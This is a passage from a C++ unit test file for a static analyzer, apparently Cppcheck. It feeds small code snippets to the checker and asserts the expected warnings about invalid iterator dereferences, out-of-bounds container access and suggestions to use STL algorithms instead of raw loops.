there is possible dereference of an invalid iterator: i+1. [derefInvalidIteratorRedundantCheck]\\n\", errout_str());\n\n check(\"void f(std::vector & v) {\\n\"\n \" std::vector::iterator i= v.begin();\\n\"\n \" if(i != v.end()) {\\n\"\n \" if (*(i+1) == *i) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:10] -> [test.cpp:4:16]: (warning) Either the condition 'i!=v.end()' is redundant or there is possible dereference of an invalid iterator: i+1. [derefInvalidIteratorRedundantCheck]\\n\", errout_str());\n\n check(\"void f(std::vector & v) {\\n\"\n \" std::vector::iterator i= v.begin();\\n\"\n \" if(i == v.end()) { return; }\\n\"\n \" if (*(i+1) == *i) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:10] -> [test.cpp:4:12]: (warning) Either the condition 'i==v.end()' is redundant or there is possible dereference of an invalid iterator: i+1. [derefInvalidIteratorRedundantCheck]\\n\", errout_str());\n\n check(\"void f(std::vector & v) {\\n\"\n \" std::vector::iterator i= v.begin();\\n\"\n \" if(i != v.end() && (i+1) != v.end() && *(i+1) == *i) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::string s) {\\n\"\n \" for (std::string::const_iterator i = s.begin(); i != s.end(); ++i) {\\n\"\n \" if (i != s.end() && (i + 1) != s.end() && *(i + 1) == *i) {\\n\"\n \" if (!isalpha(*(i + 2))) {\\n\"\n \" std::string modifier;\\n\"\n \" modifier += *i;\\n\"\n \" modifier += *(i + 1);\\n\"\n \" }\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:37] -> [test.cpp:4:30]: (warning) Either the condition '(i+1)!=s.end()' is redundant or there is possible dereference of an invalid iterator: i+2. [derefInvalidIteratorRedundantCheck]\\n\", errout_str());\n\n check(\"void f(int v, std::map &items) {\\n\"\n \" for (auto it = items.begin(); it != items.end();)\\n\"\n \" (it->first == v) ? it = items.erase(it) : ++it;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::string s) {\\n\"\n \" for (std::string::const_iterator i = s.begin(); i != s.end(); ++i) {\\n\"\n \" if (i != s.end() && (i + 1) != s.end() && *(i + 1) == *i) {\\n\"\n \" if ((i + 2) != s.end() && !isalpha(*(i + 2))) {\\n\"\n \" std::string modifier;\\n\"\n \" modifier += *i;\\n\"\n \" modifier += *(i + 1);\\n\"\n \" }\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(std::vector::iterator it, const std::vector& vector) {\\n\"\n \" if (!(it != vector.end() && it != vector.begin()))\\n\"\n \" throw std::out_of_range();\\n\"\n \" if (it != vector.end() && *it == 0)\\n\"\n \" return -1;\\n\"\n \" return *it;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(std::vector &vect) {\\n\"\n \" const int &v = *vect.emplace(vect.end());\\n\"\n \" return v;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"extern bool bar(int);\\n\"\n \"void f(std::vector & v) {\\n\"\n \" std::vector::iterator i= v.begin();\\n\"\n \" if(i == v.end() && bar(*(i+1)) ) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:4:10] -> [test.cpp:4:31]: (warning) Either the condition 'i==v.end()' is redundant or there is possible dereference of an invalid iterator: i+1. [derefInvalidIteratorRedundantCheck]\\n\",\n errout_str());\n\n // #10657\n check(\"std::list mValues;\\n\"\n \"typedef std::list::iterator ValueIterator;\\n\"\n \"void foo(ValueIterator beginValue, ValueIterator endValue) {\\n\"\n \" ValueIterator prevValue = beginValue;\\n\"\n \" ValueIterator curValue = beginValue;\\n\"\n \" for (++curValue; prevValue != endValue && curValue != mValues.end(); ++curValue) {\\n\"\n \" a = bar(*curValue);\\n\"\n \" prevValue = curValue;\\n\"\n \" }\\n\"\n \" if (endValue == mValues.end()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10642\n check(\"int f(std::vector v) {\\n\"\n \" return *(v.begin() + v.size() - 1);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10716\n check(\"struct a;\\n\"\n \"class b {\\n\"\n \" void c(std::map &);\\n\"\n \" std::string d;\\n\"\n \" std::map> e;\\n\"\n \"};\\n\"\n \"void b::c(std::map &) {\\n\"\n \" e.clear();\\n\"\n \" auto f = *e[d].begin();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:9:23]: (error) Out of bounds access in expression 'e[d].begin()' because 'e[d]' is empty. [containerOutOfBounds]\\n\",\n errout_str());\n\n // #10151\n check(\"std::set::iterator f(std::set& s) {\\n\"\n \"for (auto it = s.begin(); it != s.end(); ++it)\\n\"\n \" if (*it == 42)\\n\"\n \" return s.erase(it);\\n\"\n \" return s.end();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:0]: (style) Consider using std::find_if algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n // #11381\n check(\"int f(std::map& map) {\\n\"\n \" auto it = map.find(1);\\n\"\n \" if (it == map.end()) {\\n\"\n \" bool bInserted;\\n\"\n \" std::tie(it, bInserted) = map.emplace(1, 42);\\n\"\n \" }\\n\"\n \" return debug_valueflow(it)->second;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11557\n check(\"bool f(const std::vector& v, std::vector::iterator it, bool b) {\\n\"\n \" if (it == v.end())\\n\"\n \" return false;\\n\"\n \" if (b && ((it + 1) == v.end() || (*(it + 1)) != nullptr))\\n\"\n \" return false;\\n\"\n \" return true;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6925\n check(\"void f(const std::string& s, std::string::iterator i) {\\n\"\n \" if (i != s.end() && *(i + 1) == *i) {\\n\"\n \" if (i + 1 != s.end()) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:19] -> [test.cpp:2:29]: (warning) Either the condition 'i+1!=s.end()' is redundant or there is possible dereference of an invalid iterator: i+1. [derefInvalidIteratorRedundantCheck]\\n\",\n errout_str());\n\n check(\"void f(bool b, std::vector v) {\\n\" // #12680\n \" if (!v.empty()) {\\n\"\n \" auto it = v.begin();\\n\"\n \" if (b) {\\n\"\n \" v.clear();\\n\"\n \" it = v.begin();\\n\"\n \" }\\n\"\n \" for (++it; it != v.end(); ++it) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str()); // don't crash\n\n check(\"void f(int);\\n\" // #13064\n \"void g() {\\n\"\n \" std::vector v{ 0 };\\n\"\n \" auto it = std::find(v.begin(), v.end(), 0);\\n\"\n \" if (it == v.end()) {\\n\"\n \" f({});\\n\"\n \" it = v.begin();\\n\"\n \" }\\n\"\n \" *it;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int g() {\\n\" // #13332\n \" const std::vector v = { 1, 2, 3, 4 };\\n\"\n \" const std::vector::const_iterator a[2] = { v.begin(), v.end() };\\n\"\n \" return *a[0];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void dereferenceInvalidIterator2() {\n // Self-implemented iterator class\n check(\"class iterator {\\n\"\n \"public:\\n\"\n \" CCommitPointer m_ptr;\\n\"\n \" iterator() {}\\n\"\n \" CCommitPointer& operator*() {\\n\"\n \" return m_ptr;\\n\"\n \" }\\n\"\n \" CCommitPointer* operator->() {\\n\"\n \" return &m_ptr;\\n\"\n \" }\\n\"\n \" iterator& operator++() {\\n\"\n \" ++m_ptr.m_place;\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \" };\\n\"\n \" iterator begin() {\\n\"\n \" iterator it;\\n\"\n \" it->m_place = 0;\\n\"\n \" return it;\\n\"\n \"}\\n\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:18:5]: (error, inconclusive) Invalid iterator 'it' used. [eraseDereference]\\n\", errout_str());\n }\n\n void loopAlgoElementAssign() {\n check(\"void foo() {\\n\"\n \" for(int& x:v)\\n\"\n \" x = 1;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Consider using std::fill algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" for(int& x:v)\\n\"\n \" x = x + 1;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Consider using std::transform algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo(int a, int b) {\\n\"\n \" for(int& x:v)\\n\"\n \" x = a + b;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Consider using std::fill or std::generate algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" for(int& x:v)\\n\"\n \" x += 1;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Consider using std::transform algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" for(int& x:v)\\n\"\n \" x = f();\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Consider using std::generate algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" for(int& x:v) {\\n\"\n \" f();\\n\"\n \" x = 1;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" for(int& x:v) {\\n\"\n \" x = 1;\\n\"\n \" f();\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n // There should probably be a message for unconditional break\n check(\"void foo() {\\n\"\n \" for(int& x:v) {\\n\"\n \" x = 1;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" for(int& x:v)\\n\"\n \" x = ++x;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void loopAlgoAccumulateAssign() {\n check(\"void foo() {\\n\"\n \" int n = 0;\\n\"\n \" for(int x:v)\\n\"\n \" n += x;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::accumulate algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" int n = 0;\\n\"\n \" for(int x:v)\\n\"\n \" n = n + x;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::accumulate algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" int n = 0;\\n\"\n \" for(int x:v)\\n\"\n \" n += 1;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::distance algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" int n = 0;\\n\"\n \" for(int x:v)\\n\"\n \" n = n + 1;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::distance algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"bool f(int);\\n\"\n \"void foo() {\\n\"\n \" bool b = false;\\n\"\n \" for(int x:v)\\n\"\n \" b &= f(x);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(int);\\n\"\n \"void foo() {\\n\"\n \" bool b = false;\\n\"\n \" for(int x:v)\\n\"\n \" b |= f(x);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(int);\\n\"\n \"void foo() {\\n\"\n \" bool b = false;\\n\"\n \" for(int x:v)\\n\"\n \" b = b && f(x);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(int);\\n\"\n \"void foo() {\\n\"\n \" bool b = false;\\n\"\n \" for(int x:v)\\n\"\n \" b = b || f(x);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" int n = 0;\\n\"\n \" for(int& x:v)\\n\"\n \" n = ++x;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"std::size_t f(const std::map& m) {\\n\" // #10412\n \" std::size_t t = 0;\\n\"\n \" for (std::map::const_iterator i = m.begin(); i != m.end(); ++i) {\\n\"\n \" t += i->second;\\n\"\n \" }\\n\"\n \" for (std::map::const_iterator i = m.begin(); i != m.end(); i++) {\\n\"\n \" t += i->second;\\n\"\n \" }\\n\"\n \" return t; \\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::accumulate algorithm instead of a raw loop. [useStlAlgorithm]\\n\"\n \"[test.cpp:7:11]: (style) Consider using std::accumulate algorithm instead of a raw loop. [useStlAlgorithm]\\n\",\n errout_str());\n\n check(\"int g(const std::vector& v) {\\n\"\n \" int t = 0;\\n\"\n \" for (auto i = v.begin(); i != v.end(); ++i) {\\n\"\n \" t += *i;\\n\"\n \" }\\n\"\n \" return t;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::accumulate algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"auto g(const std::vector& v) {\\n\"\n \" std::vector::iterator> r;\\n\"\n \" for (auto i = v.begin(); i != v.end(); ++i) {\\n\"\n \" r.push_back(i);\\n\"\n \" }\\n\"\n \" return r;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"std::string f(std::vector v) {\\n\"\n \" std::string ret;\\n\"\n \" for (const std::string& s : v)\\n\"\n \" ret += s + '\\\\n';\\n\"\n \" return ret;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"std::string f(const std::string& s) {\\n\"\n \" std::string ret;\\n\"\n \" for (char c : s)\\n\"\n \" if (c != ' ')\\n\"\n \" ret += i;\\n\"\n \" return ret;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(const std::vector& v) {\\n\"\n \" int sum = 0;\\n\"\n \" for (auto it = v.begin(); it != v.end(); it += 2)\\n\"\n \" sum += *it;\\n\"\n \" return sum;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(const std::vector& v) {\\n\" // #12900\n \" int x{};\\n\"\n \" for (const auto i : v)\\n\"\n \" x = dostuff(i);\\n\"\n \" return x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(const std::vector& v) {\\n\" // #11493\n \" int s = 0;\\n\"\n \" for (std::size_t i = 0; i < v.size(); ++i)\\n\"\n \" s += v[i];\\n\"\n \" return s;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::accumulate algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"int f(int n) {\\n\"\n \" int s = 0;\\n\"\n \" for (int i = 0; i < n; ++i)\\n\"\n \" s += g(i);\\n\"\n \" return s;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int g(int);\\n\"\n \"int f(const std::vector&v, int n) {\\n\"\n \" int s = 0;\\n\"\n \" for (int i = 0; i < n; ++i) {\\n\"\n \" s += g(i) + v[i];\\n\"\n \" }\\n\"\n \" return s;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void loopAlgoContainerInsert() {\n check(\"void foo() {\\n\"\n \" std::vector c;\\n\"\n \" for(int x:v)\\n\"\n \" c.push_back(x);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::copy algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" std::vector c;\\n\"\n \" for(int x:v)\\n\"\n \" c.push_back(f(x));\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::transform algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" std::vector c;\\n\"\n \" for(int x:v)\\n\"\n \" c.push_back(x + 1);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::transform algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" std::vector c;\\n\"\n \" for(int x:v)\\n\"\n \" c.push_front(x);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::copy algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" std::vector c;\\n\"\n \" for(int x:v)\\n\"\n \" c.push_front(f(x));\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::transform algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" std::vector c;\\n\"\n \" for(int x:v)\\n\"\n \" c.push_front(x + 1);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::transform algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" std::vector c;\\n\"\n \" for(int x:v)\\n\"\n \" c.push_back(v);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" std::vector c;\\n\"\n \" for(int x:v)\\n\"\n \" c.push_back(0);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void loopAlgoIncrement() {\n check(\"void foo() {\\n\"\n \" int n = 0;\\n\"\n \" for(int x:v)\\n\"\n \" n++;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:9]: (style) Consider using std::distance algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" int n = 0;\\n\"\n \" for(int x:v)\\n\"\n \" ++n;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Consider using std::distance algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" for(int& x:v)\\n\"\n \" x++;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) Consider using std::transform algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" for(int& x:v)\\n\"\n \" ++x;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Consider using std::transform algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n }\n\n void loopAlgoConditional() {\n check(\"bool pred(int x);\\n\"\n \"void foo() {\\n\"\n \" for(int& x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" x = 1;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:5:15]: (style) Consider using std::replace_if algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"bool pred(int x);\\n\"\n \"void foo() {\\n\"\n \" int n = 0;\\n\"\n \" for(int x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" n += x;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:6:15]: (style) Consider using std::accumulate algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"bool pred(int x);\\n\"\n \"void foo() {\\n\"\n \" int n = 0;\\n\"\n \" for(int x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" n += 1;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:6:15]: (style) Consider using std::count_if algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"bool pred(int x);\\n\"\n \"void foo() {\\n\"\n \" int n = 0;\\n\"\n \" for(int x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" n++;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:6:13]: (style) Consider using std::count_if algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"bool pred(int x);\\n\"\n \"void foo() {\\n\"\n \" for(int& x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" x = x + 1;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:5:15]: (style) Consider using std::transform algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"bool pred(int x);\\n\"\n \"void foo() {\\n\"\n \" std::vector c;\\n\"\n \" for(int x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" c.push_back(x);\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:6:14]: (style) Consider using std::copy_if algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"bool pred(int x);\\n\"\n \"bool foo() {\\n\"\n \" for(int x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" return false;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" return true;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Consider using std::all_of or std::none_of algorithm instead of a raw loop. [useStlAlgorithm]\\n\",\n errout_str());\n\n check(\"bool pred(int x);\\n\"\n \"bool foo() {\\n\"\n \" for(int x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" return true;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:22]: (style) Consider using std::any_of algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"bool pred(int x);\\n\"\n \"void f();\\n\"\n \"void foo() {\\n\"\n \" for(int x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" f();\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:5:22]: (style) Consider using std::any_of algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"bool pred(int x);\\n\"\n \"void f(int x);\\n\"\n \"void foo() {\\n\"\n \" for(int x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" f(x);\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:5:22]: (style) Consider using std::find_if algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"bool pred(int x);\\n\"\n \"bool foo() {\\n\"\n \" bool b = false;\\n\"\n \" for(int x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" b = true;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" if(b) {}\\n\"\n \" return true;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool pred(int x);\\n\"\n \"bool foo() {\\n\"\n \" bool b = false;\\n\"\n \" for(int x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" b |= true;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" return true;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool pred(int x);\\n\"\n \"bool foo() {\\n\"\n \" bool b = false;\\n\"\n \" for(int x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" b &= true;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" return true;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool pred(int x);\\n\"\n \"bool foo() {\\n\"\n \" for(int x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" return false;\\n\"\n \" }\\n\"\n \" return true;\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n // There is no transform_if\n check(\"bool pred(int x);\\n\"\n \"void foo() {\\n\"\n \" std::vector c;\\n\"\n \" for(int x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" c.push_back(x + 1);\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool pred(int x);\\n\"\n \"void foo() {\\n\"\n \" for(int& x:v) {\\n\"\n \" x++;\\n\"\n \" if (pred(x)) {\\n\"\n \" x = 1;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool pred(int x);\\n\"\n \"void f();\\n\"\n \"void foo() {\\n\"\n \" for(int x:v) {\\n\"\n \" if (pred(x)) {\\n\"\n \" if(x) { return; }\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool g(int);\\n\"\n \"int f(const std::vector& v) {\\n\"\n \" int ret = 0;\\n\"\n \" for (const auto i : v)\\n\"\n \" if (!g(i))\\n\"\n \" ret = 1;\\n\"\n \" return ret;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(const std::vector& v) {\\n\"\n \" int ret = 0;\\n\"\n \" for (const auto i : v)\\n\"\n \" if (i < 5)\\n\"\n \" ret = 1;\\n\"\n \" return ret;\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\"[test.cpp:5]: (style) Consider using std::any_of, std::all_of, std::none_of algorithm instead of a raw loop.\\n\",\n \"\",\n errout_str());\n\n check(\"int f(const std::vector& v) {\\n\"\n \" int ret = 0;\\n\"\n \" for (const auto i : v)\\n\"\n \" if (i < 5) {\\n\"\n \" ret = 1;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" return ret;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:20]: (style) Consider using std::any_of algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"struct T {\\n\"\n \" std::vector v0, v1;\\n\"\n \" void g();\\n\"\n \"};\\n\"\n \"void T::g() {\\n\"\n \" for (std::vector::const_iterator it0 = v0.cbegin(); it0 != v0.cend(); ++it0) {\\n\"\n \" std::vector::iterator it1;\\n\"\n \" for (it1 = v1.begin(); it1 != v1.end(); ++it1)\\n\"\n \" if (*it0 == *it1)\\n\"\n \" break;\\n\"\n \" if (it1 != v1.end())\\n\"\n \" v1.erase(it1);\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:9:0]: (style) Consider using std::find_if algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"bool f(const std::set& set, const std::string& f) {\\n\" // #11595\n \" for (const std::string& s : set) 